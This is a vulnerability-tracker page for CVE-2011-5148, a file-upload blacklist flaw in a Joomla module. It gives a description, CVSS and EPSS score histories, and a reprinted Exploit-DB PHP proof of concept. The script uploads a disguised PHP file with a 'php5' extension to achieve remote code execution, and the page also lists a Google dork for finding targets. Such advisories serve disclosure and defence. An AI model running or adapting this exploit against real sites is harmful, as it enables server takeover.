CVE-2011-5148

EPSS

15.55%V4

Vector

Network

Published

2012-08-31
19h00 +00:00

Modified

2017-08-28
10h57 +00:00

Official links

CVE.org

NVD

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Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

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CVE Descriptions

Multiple incomplete blacklist vulnerabilities in the Simple File Upload (mod_simplefileuploadv1.3) module before 1.3.5 for Joomla! allow remote attackers to execute arbitrary code by uploading a file with a (1) php5, (2) php6, or (3) double (e.g. .php.jpg) extension, then accessing it via a direct request to the file in images/, as exploited in the wild in January 2012.

CVE Informations

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	6.8		AV:N/AC:M/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	24.11%	–	–
2022-04-03	–	–	24.11%	–	–
2022-08-14	–	–	23.09%	–	–
2022-08-28	–	–	23.09%	–	–
2022-11-20	–	–	22.48%	–	–
2023-01-01	–	–	22.48%	–	–
2023-01-29	–	–	22.48%	–	–
2023-02-19	–	–	19.53%	–	–
2023-03-12	–	–	–	29.96%	–
2024-01-21	–	–	–	29.96%	–
2024-06-02	–	–	–	29.96%	–
2024-09-22	–	–	–	32.31%	–
2024-12-22	–	–	–	59.2%	–
2025-01-12	–	–	–	46.46%	–
2025-03-02	–	–	–	24.84%	–
2025-01-19	–	–	–	46.46%	–
2025-03-09	–	–	–	24.84%	–
2025-03-18	–	–	–	–	15.55%
2025-03-18	–	–	–	–	15.55,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	95%
2022-04-03	97%
2022-08-14	96%
2022-08-28	97%
2022-11-20	97%
2023-01-01	96%
2023-01-29	97%
2023-02-19	96%
2023-03-12	96%
2024-01-21	97%
2024-06-02	97%
2024-09-22	97%
2024-12-22	98%
2025-01-12	98%
2025-03-02	97%
2025-01-19	98%
2025-03-09	97%
2025-03-18	94%
2025-03-18	94%

Exploit information

Exploit Database EDB-ID : 18287

Publication date : 2011-12-27 23h00 +00:00
Author : gmda
EDB Verified : No

<?PHP /* -------------------------------------------------------------------------------- Title: Simple File Upload v1.3 (module for joomla) Remote Code Execution Exploit -------------------------------------------------------------------------------- Author...............: gmda Google Dork..........:"Simple File Upload v1.3" "Powered by Joomla" Mail.................: gmda[at]email[dot]it Site.................: http://www.gmda.altervista.org/ Date.................: 26/12/2011 Software Link: http://wasen.net/downloads/mod_simpleFileUpload.1.3.zip Version: 1.3 Tested on: winxp php version 5.3.2 Apache 2.0 *the setup of the module is no captcha other setups are the default* +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ The vulnerability is closed to transmit malformed packets to the server that he still plays and saves in his belly. This thing can be a bad intent to send commands to the server running clearly causing safety problems ........ The script has peroblemi upload quality control ..... */ $host="127.0.0.1"; $port=80; $shell="R0lGOC8qLyo8P3BocCBwYXNzdGhydSgnY2FsYycpPz4vKg=="; $ContentType="image/gif"; $post="POST http://$host/Joomla_1.5.23_ita-Stable_test_expl/index.php"; $fp = fsockopen($host, $port, $errno, $errstr, 30); $filename="file.php5"; if(!$fp) die($errstr.$errno); else { $data="-----------------------------41184676334\r\n"; $data.="Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n"; $data.="\r\n"; $data.="100000\r\n-----------------------------41184676334\r\n"; $data.="Content-Disposition: form-data;name=\"sfuFormFields44\"\r\n"; $data.="\r\n\r\n"; $data.="-----------------------------41184676334\r\n"; $data.="Content-Disposition:form-data; name=\"uploadedfile44[]\"; filename=\"file.php5\"\r\nContent-Type: image/gif\r\n\r\n"; $data.=base64_decode($shell)."\r\n"; $data.="-----------------------------41184676334--\r\n"; $packet="$post HTTP/1.1\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; fwrite($fp, $packet); fclose($fp); } $h = @fopen("http://".$host."/Joomla_1.5.23_ita-Stable_test_expl/images/file.php5", "r"); if ($h) { while (($buf = fgets($h, 4096)) !== false) { echo $buf; echo("exploit was successful"); } fclose($h); }else{ echo("Error: exploit fail"); } ?>